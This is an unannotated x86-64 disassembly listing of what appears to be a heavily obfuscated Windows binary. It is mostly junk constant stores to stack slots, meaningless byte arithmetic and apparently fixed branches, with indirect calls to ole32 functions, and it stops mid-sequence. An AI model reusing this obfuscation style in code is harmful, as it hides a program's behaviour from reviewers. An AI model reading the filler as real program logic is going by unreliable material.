mov dword [rbp + 0x23e24], 0x3544d40a
mov dword [rbp + 0x24ac], 0x5425a142
mov dword [rbp + 0x24a0], 0xaf530229
mov dword [rbp + 0x23e20], 0x72a0903d
mov byte [rbp + 0x2487], 0xa0
mov word [rbp + 0x247a], 0x2eca
mov word [rbp + 0x2464], 0x372
mov dword [rbp + 0x23e1c], 0x774c89e5
mov dword [rbp + 0x2424], 0x4fe4335b
mov byte [rbp + 0x240f], 0x53
mov byte [rbp + 0x23e1b], 0x29
mov byte [rbp + 0x23e1a], 0x2f
mov dword [rbp + 0x23fc], 0x79fd31d2
mov dword [rbp + 0x23e14], 0x4b6c2bf5
mov byte [rbp + 0x23d7], 0x1e
mov dword [rbp + 0x23e10], 0x472dc885
mov dword [rbp + 0x23bc], 0x95cba1a6
mov word [rbp + 0x23b2], 0x8b7
mov dword [rbp + 0x23a8], 0xd69e782
mov dword [rbp + 0x23e0c], 0x3b69f237
mov dword [rbp + 0x23e08], 0xfeaca40f
mov byte [rbp + 0x23e07], 0x56
mov byte [rbp + 0x23e06], 0x94
mov word [rbp + 0x2336], 0x72b3
mov dword [rbp + 0x2310], 0xd05ff517
mov dword [rbp + 0x2300], 0x3bc3bfe1
mov dword [rbp + 0x23e00], 0xbbf2bcf0
mov dword [rbp + 0x22e0], 0xef05fbb4
mov byte [rbp + 0x23dff], 0x1f
mov dword [rbp + 0x22c0], 0x60ae0772
mov dword [rbp + 0x23df8], 0x1b1ce329
mov dword [rbp + 0x23df4], 0x5e30ab26
mov dword [rbp + 0x23df0], 0x6335e294
mov dword [rbp + 0x2280], 0x1197e8f4
mov word [rbp + 0x227e], 0x923
mov byte [rbp + 0x23def], 0x44
mov word [rbp + 0x2250], 0x9ef
mov dword [rbp + 0x23de8], 0xc6d4507c
mov byte [rbp + 0x23de7], 7
mov byte [rbp + 0x23de6], 0x17
mov dword [rbp + 0x23de0], 0x5cc1385d
mov byte [rbp + 0x23ddf], 0xe4
mov word [rbp + 0x215e], 0xde4
mov dword [rbp + 0x23dd8], 0xbbfbe98b
mov dword [rbp + 0x2150], 0x532ecd57
mov dword [rbp + 0x23dd4], 0xe32826ae
mov dword [rbp + 0x2140], 0x3c82ac92
mov word [rbp + 0x2132], 0x5d36
mov byte [rbp + 0x23dd3], 0xc7
mov dword [rbp + 0x20d4], 0x24691a0c
mov byte [rbp + 0x20d2], 0xaf
mov word [rbp + 0x2098], 0xf59
mov dword [rbp + 0x23dcc], 0xcebffbc
mov dword [rbp + 0x2090], 0xe58e3a46
mov byte [rbp + 0x23dcb], 5
mov byte [rbp + 0x2087], 0x74
mov dword [rbp + 0x23dc4], 0x19570fe4
mov dword [rbp + 0x23dc0], 0x94adfeae
mov word [rbp + 0x23dbe], 0x2a9b
mov byte [rbp + 0x2063], 0xb
mov word [rbp + 0x23dbc], 0xb0a
mov word [rbp + 0x23dba], 0xb09
mov word [rbp + 0x1ffc], 0x204
mov word [rbp + 0x1fce], 0x26e6
mov word [rbp + 0x23db8], 0xc5f
mov dword [rbp + 0x1fc8], 0x56ee7458
mov dword [rbp + 0x23db4], 0x59248655
mov dword [rbp + 0x1fb4], 0x579e5d
mov dword [rbp + 0x1f78], 0x4e24343f
mov word [rbp + 0x23db2], 0x4d1
mov word [rbp + 0x23db0], 0x25d
mov dword [rbp + 0x1f54], 0x1391b3d6
mov dword [rbp + 0x23dac], 0x9e77357c
mov byte [rbp + 0x23dab], 0x53
mov dword [rbp + 0x1f1c], 0x60a87ed3
mov dword [rbp + 0x1f14], 0x14f97f8e
mov word [rbp + 0x23da8], 0x103f
mov dword [rbp + 0x1f04], 0x6dbbd12e
mov dword [rbp + 0x1f00], 0x48b8fa93
mov dword [rbp + 0x1efc], 0x64c26bd7
mov dword [rbp + 0x23da4], 0x68c42157
mov dword [rbp + 0x23da0], 0x4ee4bfd
mov dword [rbp + 0x23d9c], 0x1afb1549
mov word [rbp + 0x1eee], 0xbee
mov dword [rbp + 0x1ed4], 0x6797fc54
mov byte [rbp + 0x23d9b], 0x28
mov dword [rbp + 0x1ecc], 0xa2dd9f43
mov byte [rbp + 0x23d9a], 0xe1
mov word [rbp + 0x23d98], 0xc6
mov byte [rbp + 0x23d97], 0x26
mov dword [rbp + 0x23d90], 0x7500db17
mov dword [rbp + 0x1e78], 0x6c77e8fd
mov dword [rbp + 0x1e68], 0x3b35eadc
mov dword [rbp + 0x1e28], 0x688e8d22
mov byte [rbp + 0x1e03], 0xeb
mov dword [rbp + 0x1de8], 0xcfdae65f
mov dword [rbp + 0x1db4], 0xedbb283f
mov word [rbp + 0x23d8e], 0x5520
mov dword [rbp + 0x1da8], 0x15cf4a70
mov dword [rbp + 0x23d88], 0x4d8b0172
mov word [rbp + 0x1d82], 0xb7b
mov dword [rbp + 0x23d84], 0x8523f5ab
mov dword [rbp + 0x23d80], 0xb8943ab7
mov dword [rbp + 0x23d7c], 0xa5b4b6ac
mov dword [rbp + 0x1d44], 0x4f879a78
mov dword [rbp + 0x23d78], 0x564fc65f
mov dword [rbp + 0x23d74], 0x2b39a074
mov word [rbp + 0x23d72], 0x2a21
mov dword [rbp + 0x1d24], 0xe9dc36d8
mov dword [rbp + 0x1d14], 0x2f36b28e
mov word [rbp + 0x1d0e], 0x585
mov dword [rbp + 0x1cec], 0x5a05a61e
mov dword [rbp + 0x1ce4], 0x55f12b77
mov dword [rbp + 0x23d6c], 0x4045d7f5
mov dword [rbp + 0x1c70], 0x67e7f037
mov dword [rbp + 0x1c68], 0xb575a31
mov word [rbp + 0x23d6a], 0x182
mov byte [rbp + 0x1c4f], 0x48
mov dword [rbp + 0x23d64], 0x99229cb
mov dword [rbp + 0x23d60], 0x17375e11
mov byte [rbp + 0x1c2b], 0xe4
mov dword [rbp + 0x1c14], 0x3f583a44
mov word [rbp + 0x1c12], 0x4bb6
mov dword [rbp + 0x23d5c], 0x6850cbd6
mov dword [rbp + 0x1bf4], 0x6bd787ca
mov dword [rbp + 0x1bf0], 0xde8d6978
mov byte [rbp + 0x1b8f], 0xb4
mov dword [rbp + 0x1b88], 0x12bde229
mov dword [rbp + 0x23d58], 0x2baf4370
lea rax, [rbp + 0x1b60]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.14015c9f0
mov dword [rbp + 0x23d54], 0x5067ca73
mov byte [rbp + 0x1b55], 5
mov dword [rbp + 0x1b4c], 0x5adce0aa
mov dword [rbp + 0x23d50], 0x64f20b4f
mov dword [rbp + 0x23d4c], 0x1e1f6e87
mov dword [rbp + 0x1b24], 0xda6f81b
mov dword [rbp + 0x1b20], 0x75c0439a
mov byte [rbp + 0x1b1f], 0x41
mov dword [rbp + 0x23d48], 0xfe33a9af
mov byte [rbp + 0x1b0e], 0x78
mov dword [rbp + 0x1b04], 0x73a00d32
mov dword [rbp + 0x23d44], 0x5ddfc0ba
mov word [rbp + 0x1adc], 0xf7d
mov dword [rbp + 0x23d40], 0x56b3eb45
mov dword [rbp + 0x1a78], 0x1e0aaefc
mov byte [rbp + 0x1a3b], 0x4e
mov byte [rbp + 0x1a38], 0xc8
mov word [rbp + 0x1a36], 0x2c5
mov dword [rbp + 0x23d3c], 0x67b5c339
mov word [rbp + 0x23d3a], 0xb4b
mov dword [rbp + 0x23d34], 0x105c6937
mov word [rbp + 0x1a06], 0x6be8
mov word [rbp + 0x23d32], 0x281b
mov word [rbp + 0x23d30], 0x906
mov byte [rbp + 0x23d2f], 0x14
mov byte [rbp + 0x23d2e], 0x2d
mov dword [rbp + 0x19b0], 0x1e63f3b
mov dword [rbp + 0x199c], 0x2b2dfd2
mov dword [rbp + 0x23d28], 0x293b9a7f
mov word [rbp + 0x23d26], 0x3eae
mov byte [rbp + 0x1953], 0x62
mov dword [rbp + 0x23d20], 0xdc0bda1
mov byte [rbp + 0x23d1f], 0xdb
mov dword [rbp + 0x23d18], 0x2bc3b66a
mov dword [rbp + 0x23d14], 0x10fd51de
mov byte [rbp + 0x1920], 0xd9
mov dword [rbp + 0x23d10], 0x748f0853
mov byte [rbp + 0x23d0f], 0x4d
mov dword [rbp + 0x23d08], 0x348d990f
mov dword [rbp + 0x23d04], 0x7a9f7b87
mov word [rbp + 0x23d02], 0x4673
mov word [rbp + 0x18f2], 0xee7
mov byte [rbp + 0x23d01], 1
mov word [rbp + 0x23cfe], 0xa8f
mov dword [rbp + 0x18a8], 0x489bce62
mov word [rbp + 0x23cfc], 0xf9b
mov dword [rbp + 0x23cf8], 0x27c84f6
mov word [rbp + 0x184c], 0x154a
mov dword [rbp + 0x23cf4], 0xc7b2c72
mov dword [rbp + 0x1840], 0x62a551dc
mov dword [rbp + 0x1838], 0x1516ddc7
mov word [rbp + 0x23cf2], 0xd0c
mov dword [rbp + 0x1830], 0x191fb3c
mov dword [rbp + 0x23cec], 0x213da73d
mov dword [rbp + 0x1798], 0x46db07b3
mov dword [rbp + 0x23ce8], 0x78f1b362
mov dword [rbp + 0x23ce4], 0x7a0a91b0
mov dword [rbp + 0x178c], 0x40cabcff
mov word [rbp + 0x23ce2], 0x53b
mov dword [rbp + 0x1758], 0xca51eee
mov dword [rbp + 0x1738], 0x608670f0
mov dword [rbp + 0x23cdc], 0x13511b5d
mov dword [rbp + 0x1720], 0x31aacc19
mov dword [rbp + 0x1704], 0xddcc53c4
mov dword [rbp + 0x16d8], 0x282f5155
mov byte [rbp + 0x23cdb], 0x8c
mov byte [rbp + 0x23cda], 0xa5
mov word [rbp + 0x16bc], 0x6e65
mov byte [rbp + 0x16af], 0xb5
mov dword [rbp + 0x23cd4], 0x3720e7af
mov dword [rbp + 0x166c], 0x3da3d31e
mov byte [rbp + 0x1653], 0x10
mov dword [rbp + 0x1640], 0xf57a84ab
mov word [rbp + 0x1636], 0x9e9
mov byte [rbp + 0x23cd3], 0x38
mov word [rbp + 0x1610], 0xfe8
mov dword [rbp + 0x1600], 0x1b89aa46
mov byte [rbp + 0x15fc], 0x75
mov byte [rbp + 0x15d2], 0x5a
mov dword [rbp + 0x23ccc], 0x615cc34b
mov dword [rbp + 0x23cc8], 0xa8d563ad
mov word [rbp + 0x23cc6], 0x6a8
mov dword [rbp + 0x23cc0], 0x70b1ca49
mov dword [rbp + 0x15b8], 0x3369ab45
mov dword [rbp + 0x23cbc], 0x6794f8f4
mov word [rbp + 0x1584], 0xec9
mov dword [rbp + 0x1570], 0x609010a6
mov dword [rbp + 0x153c], 0x6a74ad46
mov byte [rbp + 0x152b], 0x23
mov word [rbp + 0x151a], 0xf73
mov dword [rbp + 0x150c], 0x8a8ac255
mov word [rbp + 0x23cba], 0x8de
mov word [rbp + 0x23cb8], 0x660c
mov word [rbp + 0x23cb6], 0x34d5
mov dword [rbp + 0x14cc], 0x5f5bd12e
mov byte [rbp + 0x14c3], 0x7c
mov dword [rbp + 0x14b8], 0x81e79a4f
mov dword [rbp + 0x14b0], 0x108b458a
mov dword [rbp + 0x23cb0], 0x3a49b709
mov byte [rbp + 0x14a3], 2
mov dword [rbp + 0x23cac], 0x6eb9d262
mov word [rbp + 0x23caa], 0x34d9
mov dword [rbp + 0x1454], 0x22c0583d
mov word [rbp + 0x1452], 0x6b5
mov dword [rbp + 0x1440], 0x76c563b
mov dword [rbp + 0x1424], 0x39be2abd
mov byte [rbp + 0x1417], 0x59
mov dword [rbp + 0x1410], 0x42328133
mov dword [rbp + 0x23ca4], 0x67abaf06
mov dword [rbp + 0x13e8], 0x2fb6e154
mov word [rbp + 0x13da], 0x87c
mov dword [rbp + 0x13d0], 0x9d9d8df4
mov dword [rbp + 0x13c4], 0x1bd98d15
mov dword [rbp + 0x13b8], 0xfe73089
mov word [rbp + 0x23ca2], 0x671
mov byte [rbp + 0x23ca1], 0
mov dword [rbp + 0x1370], 0x81d4fdfe
mov dword [rbp + 0x23c9c], 0x18433895
mov byte [rbp + 0x133f], 0x30
mov dword [rbp + 0x23c98], 0x20769bb9
mov word [rbp + 0x12fa], 0x62e3
mov byte [rbp + 0x23c97], 0xc
mov dword [rbp + 0x12c4], 0x6bb662b0
mov word [rbp + 0x12ac], 0x67d
mov word [rbp + 0x12aa], 0xd17
mov dword [rbp + 0x129c], 0x7383c585
mov dword [rbp + 0x23c90], 0x20625799
mov dword [rbp + 0x126c], 0x390c0cba
mov dword [rbp + 0x1260], 0x472bb370
mov dword [rbp + 0x23c8c], 0x30291985
mov byte [rbp + 0x1153], 0x60
mov dword [rbp + 0x1130], 0x82ea593
mov word [rbp + 0x110a], 0x94c
mov dword [rbp + 0x10c8], 0x71593756
mov dword [rbp + 0x23c88], 0x1843473f
mov byte [rbp + 0x10a3], 0x54
mov dword [rbp + 0x23c84], 0x3e168a07
mov dword [rbp + 0x23c80], 0x4884ccf6
mov dword [rbp + 0x1074], 0x2705eec6
mov dword [rbp + 0x23c7c], 0x409f77db
mov dword [rbp + 0x23c78], 0x412f7ce9
mov byte [rbp + 0x23c77], 0xbd
mov dword [rbp + 0x23c70], 0x7716206a
mov byte [rbp + 0x1019], 0x58
mov word [rbp + 0x1016], 0x95d
mov byte [rbp + 0x1015], 0x99
mov byte [rbp + 0x23c6f], 0x4d
mov dword [rbp + 0x1004], 0xda3c56f4
mov dword [rbp + 0x23c68], 0x5aa10290
mov byte [rbp + 0xffb], 0xba
mov byte [rbp + 0x23c67], 0x5e
mov dword [rbp + 0x23c60], 0x3abbc361
mov dword [rbp + 0xfe0], 0x308ccbb2
mov word [rbp + 0xfd6], 0x5bcd
mov dword [rbp + 0xfa4], 0x16f2452c
mov dword [rbp + 0xf78], 0x2c03a673
mov dword [rbp + 0xf64], 0x6de54d22
mov byte [rbp + 0xf5d], 0x29
mov word [rbp + 0xf50], 0x6b2
mov dword [rbp + 0x23c5c], 0x450b3b5
mov dword [rbp + 0xf28], 0xb6745af5
mov word [rbp + 0xf22], 0x1d9
mov dword [rbp + 0x23c58], 0x675d99c8
mov word [rbp + 0x23c56], 0x1c75
mov word [rbp + 0x23c54], 0x1bf
mov dword [rbp + 0xecc], 0xb7aebfa8
mov dword [rbp + 0xec4], 0x50444540
mov word [rbp + 0xe7a], 0x5fa
mov byte [rbp + 0xe5f], 0xfe
mov word [rbp + 0xe5c], 0x705
mov word [rbp + 0x23c52], 0xa
mov byte [rbp + 0x23c51], 0xf1
mov byte [rbp + 0xe23], 0x56
mov dword [rbp + 0xde8], 0x4eab50b6
mov dword [rbp + 0xdd0], 0x23e4f5ae
mov dword [rbp + 0xdc8], 0xe52e3198
mov word [rbp + 0xdc2], 0x18f
mov word [rbp + 0x23c4e], 0x1a8
mov byte [rbp + 0xd6f], 0x49
mov dword [rbp + 0xd68], 0xddd4a6cf
mov dword [rbp + 0x23c48], 0x418f75c9
mov dword [rbp + 0x23c44], 0x5ca655e3
mov word [rbp + 0xd2e], 0x5eb
mov word [rbp + 0xd0e], 0x51f9
mov byte [rbp + 0xcfa], 0xb
mov word [rbp + 0xcf2], 0x3ad
mov word [rbp + 0xcd6], 0x48ae
mov byte [rbp + 0xcd5], 0x28
mov byte [rbp + 0xb6b], 0x27
mov byte [rbp + 0xb69], 0x52
mov byte [rbp + 0xb63], 0x6f
mov word [rbp + 0xb5e], 0x4662
mov byte [rbp + 0xb3b], 0x42
mov byte [rbp + 0xb3a], 0x46
mov byte [rbp + 0x23c43], 0xfb
mov byte [rbp + 0xb1f], 0x20
mov byte [rbp + 0xb1e], 0xa7
mov dword [rbp + 0xabc], 0x18a91535
mov dword [rbp + 0x9dc], 0x5f2b10f8
mov word [rbp + 0x9d2], 0x6ad
mov dword [rbp + 0x23c3c], 0x5f5d9ead
mov dword [rbp + 0x23c38], 0x1243fe40
mov dword [rbp + 0x23c34], 0xcc99c484
mov dword [rbp + 0x9a8], 0x42712e22
mov word [rbp + 0x99c], 0x115
mov byte [rbp + 0x993], 0xa4
mov dword [rbp + 0x23c30], 0x33adb3dc
mov dword [rbp + 0x974], 0x64aac78d
mov word [rbp + 0x23c2e], 0x4db2
mov dword [rbp + 0x918], 0x69c7af3a
mov word [rbp + 0x23c2c], 0xdd0
mov dword [rbp + 0x23c28], 0x29e831b8
mov dword [rbp + 0x23c24], 0x2b1a9620
mov byte [rbp + 0x8fb], 0x35
mov dword [rbp + 0x8ec], 0x329c70be
mov word [rbp + 0x8e2], 0x959
mov dword [rbp + 0x23c20], 0xf37222b1
mov byte [rbp + 0x23c1f], 0x11
mov dword [rbp + 0x8c8], 0x18e686a1
mov byte [rbp + 0x23c1e], 3
mov word [rbp + 0x892], 0x8c5
mov word [rbp + 0x23c1c], 0xfaa
mov dword [rbp + 0x884], 0x41428c76
mov dword [rbp + 0x878], 0xfee45bfb
mov dword [rbp + 0x23c18], 0x74274d2c
mov dword [rbp + 0x868], 0x59f0d6eb
mov word [rbp + 0x23c16], 0xcb6
mov byte [rbp + 0x23c15], 0xc0
mov dword [rbp + 0x828], 0xe6a9c6f5
mov dword [rbp + 0x818], 0x2c23312f
mov dword [rbp + 0x814], 0x99b001d2
mov dword [rbp + 0x23c10], 0x3d0b30e3
mov dword [rbp + 0x800], 0x3648b534
mov dword [rbp + 0x7fc], 0x5bfaaf18
mov dword [rbp + 0x7e0], 0x63734e5c
mov dword [rbp + 0x23c0c], 0x77c90d47
mov dword [rbp + 0x790], 0xc2f6ff39
mov dword [rbp + 0x23c08], 0x4533de2e
mov byte [rbp + 0x76b], 0x97
mov dword [rbp + 0x23c04], 0x9067bcba
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.14015ca40
mov byte [rbp + 0x23c03], 0x89
mov dword [rbp + 0x734], 0xc48713e3
mov dword [rbp + 0x72c], 0x4c7a5240
mov byte [rbp + 0x23c02], 0xbb
mov word [rbp + 0x23c00], 0x614
mov dword [rbp + 0x704], 0x2a46a1dc
mov dword [rbp + 0x6f0], 0xe8b4295
mov byte [rbp + 0x6e1], 0xc
mov dword [rbp + 0x6bc], 0x4dfcd1e7
mov dword [rbp + 0x67c], 0x4b421cf9
mov byte [rbp + 0x679], 0x57
mov byte [rbp + 0x65f], 0xe5
mov byte [rbp + 0x657], 0x32
mov dword [rbp + 0x23bfc], 0x48bc46e6
mov word [rbp + 0x23bfa], 0xac6
mov dword [rbp + 0x630], 0x3e2f95a6
mov byte [rbp + 0x603], 0x37
mov dword [rbp + 0x23bf4], 0x25e2af0c
mov dword [rbp + 0x5ec], 0x43d1ead0
mov dword [rbp + 0x5b4], 0x7bd856d0
mov dword [rbp + 0x594], 0x41ae5ccd
mov word [rbp + 0x57c], 0x949
mov dword [rbp + 0x56c], 0x1caf5d26
mov dword [rbp + 0x23bf0], 0x10ea9bc0
mov word [rbp + 0x23bee], 0xaca
mov byte [rbp + 0x40e], 0x5f
mov dword [rbp + 0x23be8], 0x3cb1b1bb
mov dword [rbp + 0x23be4], 0x2517a1
mov byte [rbp + 0x23be3], 0x2b
mov byte [rbp + 0x3db], 0xf4
mov byte [rbp + 0x23be2], 0xfb
mov dword [rbp + 0x3c4], 0xeba0d5a5
mov byte [rbp + 0x3b3], 0x66
mov dword [rbp + 0x3ac], 0xe3391cdc
mov dword [rbp + 0x23bdc], 0x35f2cfb
mov dword [rbp + 0x23bd8], 0x91395bfe
mov dword [rbp + 0x23bd4], 0x763f0241
mov byte [rbp + 0x23bd3], 0x5b
mov dword [rbp + 0x23bcc], 0x5bc1542f
mov dword [rbp + 0x23bc8], 0x5ede9885
mov dword [rbp + 0x23bc4], 0x32060e2b
mov word [rbp + 0x1a2], 0x2d7f
mov byte [rbp + 0x23bc3], 0xad
mov dword [rbp + 0x128], 0xf012559c
mov word [rbp + 0x23bc0], 0xc54
mov dword [rbp + 0x23bbc], 0x6578f47d
mov dword [rbp + 0x23bb8], 0xd0829fdb
mov dword [rbp + 0xf0], 0x63b8ed9
mov byte [rbp + 0xd5], 0x5f
mov byte [rbp + 0x23bb7], 0x33
mov dword [rbp + 0x23bb0], 0x1191117a
mov dword [rbp + 0x23bac], 0xb5c17f5d
mov word [rbp + 0xc], 0x3fb
mov dword [rbp + 0x23ba8], 0x232c6101
mov dword [rbp + 0x23ba4], 0xb1bed86
mov dword [rbp - 0x14], 0x2b73c3fb
mov word [rbp + 0x5bcc], 0x5d22
mov dword [rbp + 0x24240], 0x102a8
movzx eax, byte [rbp + 0x23d7]
add eax, 0x5b
mov byte [rbp + 0x23d7], al
mov dword [rbp + 0x241e4], 0xc30f
movzx eax, word [rbp + 0x5bcc]
cwde
cmp eax, 0x2370
je 0x140159b43
cmp eax, 0x5d22
jne 0x140159b7a
movzx eax, word [0x140170310]
imul ax, ax, 0xabf
mov word [0x140170310], ax
mov byte [rbp + 0x316b], 0xc6
mov dword [rbp + 0x242a8], 0xf423
movzx eax, word [rbp + 0x5bcc]
cmp ax, 0x27fe
jg 0x140005a78
movzx eax, word [rbp + 0x5bcc]
cwde
cmp eax, 0x18e6
jne 0x140005a57
mov dword [rbp + 0xf2c], 0x66636294
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
call fcn.14015ac03
jmp 0x140005a78
lea rdx, [rbp + 0x5a20]
lea rax, [rbp + 0x24e0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleSetAutoConvert]
call rax
mov dword [rbp + 0x23ba0], eax
nop
movzx eax, word [rbp + 0x5bcc]
cwde
mov edx, 0x32db
mov ecx, edx
shl eax, cl
cmp eax, 0x316e
jg 0x140005ae2
movzx eax, word [0x140170310]
movzx eax, ax
cmp eax, 0xca1
jne 0x140005ad1
movzx eax, byte [rbp + 0x23d7]
movsx r8d, al
mov ecx, dword [rbp + 0xf2c]
mov edx, dword [rbp + 0xf2c]
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.140159c12
jmp 0x140005ae2
movzx eax, byte [rbp + 0x316b]
or eax, 0xffffffb7
mov byte [rbp + 0x316b], al
nop
mov dword [rbp + 0x24288], 0x6e0f
mov dword [rbp + 0x24274], 0x7d1
movzx eax, word [0x140170310]
movzx eax, ax
cmp eax, 0x2c9
je 0x140159a1c
cmp eax, 0x4794
jne 0x140159b13
mov eax, dword [rbp + 0xf2c]
mov dword [0x140176030], eax
mov eax, dword [rbp + 0xf2c]
lea edx, [rax + 0x3368ca0e]
mov eax, dword [0x140176030]
cmp edx, eax
jl 0x1401599ef
movzx eax, word [0x140170310]
movzx eax, ax
cmp eax, 0xece
je 0x140159953
cmp eax, 0x4794
jne 0x140159961
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
cmp eax, 0x6b
je 0x1401598d2
cmp eax, 0x79
jne 0x140159927
lea rax, [rbp + 0x23d7]
mov qword [rbp + 0x28d0], rax
mov dword [rbp + 0x241d4], 0x9807
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x65
je 0x1401597d9
cmp eax, 0x79
jne 0x14015985f
jmp 0x140005cbf
movzx eax, word [0x140170310]
add ax, 0x2d9
mov word [0x140170310], ax
mov eax, dword [0x140176030]
mov dword [rbp + 0xf2c], eax
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
add edx, edx
mov byte [rax], dl
add dword [rbp + 0x242a8], 0x2a
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
xor edx, 0x20
mov byte [rax], dl
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
sar dl, 1
mov byte [rax], dl
movzx eax, byte [rbp + 0x316b]
or eax, 0xffffffc9
mov byte [rbp + 0x316b], al
mov eax, dword [0x140176030]
and eax, 0x864d26
mov dword [rbp + 0xf2c], eax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x38]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov dword [rbp + 0x31e4], 0x98714a8c
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x32]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [0x140176030]
sub eax, 0x52e20f75
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x28d0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
and edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x43]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
cmp dword [rbp + 0x242a8], 0xf939
jne 0x140005bb4
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x2b
jne 0x140005d09
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
or edx, 0x63
mov byte [rax], dl
mov rax, qword [sym.imp.ole32.dll_CoResumeClassObjects]
call rax
mov dword [rbp + 0x23ba0], eax
jmp 0x14015975b
nop
mov eax, dword [rbp + 0x31e4]
xor eax, 0xab5ad12
mov dword [rbp + 0x31e4], eax
mov eax, dword [0x140176030]
sar eax, 0x1a
mov dword [rbp + 0xf2c], eax
mov eax, dword [0x140176030]
and eax, 0x153db582
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
sub dword [rbp + 0x24240], 0x8c
movzx eax, byte [rbp + 0x316b]
sub eax, 2
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
sub eax, 9
mov byte [rbp + 0x23d7], al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [0x140176030]
sub eax, 0x440da0b1
mov dword [rbp + 0xf2c], eax
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
and edx, 0x10
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x43]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x5b]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x64]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [rbp + 0x31e4]
or eax, 0xda6ad8a5
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [0x140176030]
xor eax, 0x2d9c1394
mov dword [rbp + 0xf2c], eax
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
add edx, edx
mov byte [rax], dl
mov eax, dword [0x140176030]
and eax, 0x6d92f124
mov dword [rbp + 0xf2c], eax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x78]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [rbp + 0x31e4]
add eax, 0x671aa8aa
mov dword [rbp + 0x31e4], eax
mov eax, dword [rbp + 0x31e4]
add eax, 0x7573dae1
mov dword [rbp + 0x31e4], eax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x34]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [rbp + 0x31e4]
add eax, 0x22eaf5a0
mov dword [rbp + 0x31e4], eax
movzx eax, byte [rbp + 0x316b]
and eax, 0xffffff9f
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
add edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
xor edx, 0x36
mov byte [rax], dl
movzx edx, byte [rbp + 0x23d7]
mov rax, qword [rbp + 0x28d0]
or edx, 0x6e
mov byte [rax], dl
mov eax, dword [0x140176030]
shl eax, 5
mov dword [rbp + 0xf2c], eax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 8]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x316b]
and eax, 0xffffffc9
mov byte [rbp + 0x316b], al
mov eax, dword [0x140176030]
add eax, 0x1bab37cf
mov dword [rbp + 0xf2c], eax
mov eax, dword [rbp + 0x31e4]
add eax, 0x1261b256
mov dword [rbp + 0x31e4], eax
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax - 0x27]
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov eax, dword [0x140176030]
add eax, 0x56399164
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
lea edx, [rax + 0x6f]
mov rax, qword [rbp + 0x28d0]
